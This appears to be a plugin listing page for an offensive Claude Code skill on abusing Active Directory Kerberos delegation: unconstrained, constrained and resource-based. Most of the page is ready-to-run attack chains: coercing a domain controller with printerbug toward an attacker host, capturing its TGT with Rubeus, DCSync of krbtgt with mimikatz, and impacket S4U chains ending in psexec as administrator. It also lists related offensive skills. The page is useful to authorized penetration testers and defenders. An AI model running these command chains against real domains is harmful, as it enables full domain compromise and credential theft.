/secskills-offense:attacking-kerberos-delegationfrom secskills-offense
Identify and abuse Active Directory Kerberos delegation — unconstrained, constrained, and RBCD. Use when BloodHound flags delegation or you control an account with SPN or GenericWrite.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Delegation lets a service impersonate users to other services. Every form of it is a controlled way to become someone else, and each has a misconfiguration that removes the control. RBCD in particular turns a common, low-looking permission — write access to a computer object — into full compromise of that host, which is why it is the delegation attack that comes up most.
Only against domains you are authorized to test.
Unconstrained, Constrained, or RBCD delegationGenericWrite/GenericAll over a
computer objectMachineAccountQuota is 10)abusing-adcsattacking-active-directoryattacking-entra-idengineering-detections; TGS/S4U patterns and machine
account creation (4741) are the telemetry# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10 # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it
Which type you are looking at decides everything:
| Type | Marker | Direction of trust |
|---|---|---|
| Unconstrained | TRUSTED_FOR_DELEGATION on the account | Host can impersonate anyone who authenticates to it |
| Constrained | msDS-AllowedToDelegateTo populated | Host can impersonate anyone, but only to listed services |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity on the target | Target names who may impersonate to it |
A host with unconstrained delegation caches the TGT of anyone who authenticates to it. Compromise the host, then coerce a high-value account — ideally a domain controller — to authenticate, and capture its TGT.
# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:[email protected]' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice
# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt
The printer bug (MS-RPRN) and PetitPotam (MS-EFSR) exist precisely to force a target to authenticate. Coercing a domain controller to an unconstrained host is a direct path to domain compromise.
A host with constrained delegation to a service can impersonate any user to that service — including a domain admin, and including yourself as a domain admin via S4U2Self followed by S4U2Proxy.
# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
The alternate-service trick matters. S4U2Proxy returns a ticket for the
SPN you request, but the service class is not cryptographically bound — a
ticket for cifs/dc01 can be rewritten to host/dc01, ldap/dc01, or
http/dc01, because the target service only checks the server name. So
delegation constrained to a "harmless" service like time/dc01 still yields
ldap/dc01 and therefore DCSync. Do not dismiss a constrained delegation
because the listed SPN looks benign.
The highest-frequency delegation attack, because the prerequisite is common:
write access to a computer object's
msDS-AllowedToActOnBehalfOfOtherIdentity. GenericWrite, GenericAll,
WriteDacl, or WriteProperty over the target computer is enough.
# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
domain.local/user:pass -dc-ip 10.0.0.10
# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
domain.local/user:pass -dc-ip 10.0.0.10
# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
This is why a BloodHound GenericWrite edge to a computer is not a low finding.
It is a full takeover of that computer through three commands. When you report a
write primitive over a computer object, report it at RBCD severity.
If MachineAccountQuota is 0, you cannot create a machine account — but any
existing account you control that has an SPN works as the "from" identity, and
if you can set an SPN on a user account you control (via GenericWrite on
yourself or another user), that substitutes.
Several targets resist impersonation regardless of the delegation path:
NOT_DELEGATED) are excluded.Check before spending effort:
Get-DomainUser -AllowDelegation -AdminCount | select name # delegatable admins
NOT_DELEGATED?MachineAccountQuota reduced to 0?time/dc01 becomes ldap/dc01.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Credential Access (TA0006)
attacking-active-directoryDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
attacking-active-directory — DCSync and the wider domain path this feedsabusing-adcs — the other high-yield escalation family; often chains with thisengineering-detections — S4U and machine-account-creation telemetryreporting-security-findings — severity for write-primitive findingsWhat SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub trilwu/secskills --plugin secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./attacking-bluetooth-nfcAttack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability./attacking-eks-gke-aksAssess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces./attacking-entra-idAttack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job